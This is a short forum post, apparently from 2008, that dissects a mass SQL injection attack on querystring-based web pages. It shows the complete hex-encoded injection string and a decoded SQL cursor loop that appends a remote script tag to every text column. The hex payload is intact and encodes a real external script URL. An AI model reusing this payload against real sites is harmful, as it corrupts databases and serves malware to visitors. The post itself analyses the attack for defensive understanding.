stuckinthemud - 5:00 pm on Jun 12, 2008 (gmt 0)

I've picked apart how the attach inserts it's data.

On a page that is seen to use querystrings, it adds the following to the end of whatever the valid params are (I've split the line for clarity).

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641
52434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E
6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335
204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645
544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F
5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D52
5452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D
687474703A2F2F7777772E6164736974656C6F2E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558
542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F
72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

This then runs the following SQL (I've mangled the script tag and URL).

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor
CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+']
SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<scpt src=http://www.thesite.com/b.js></scpt>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Jim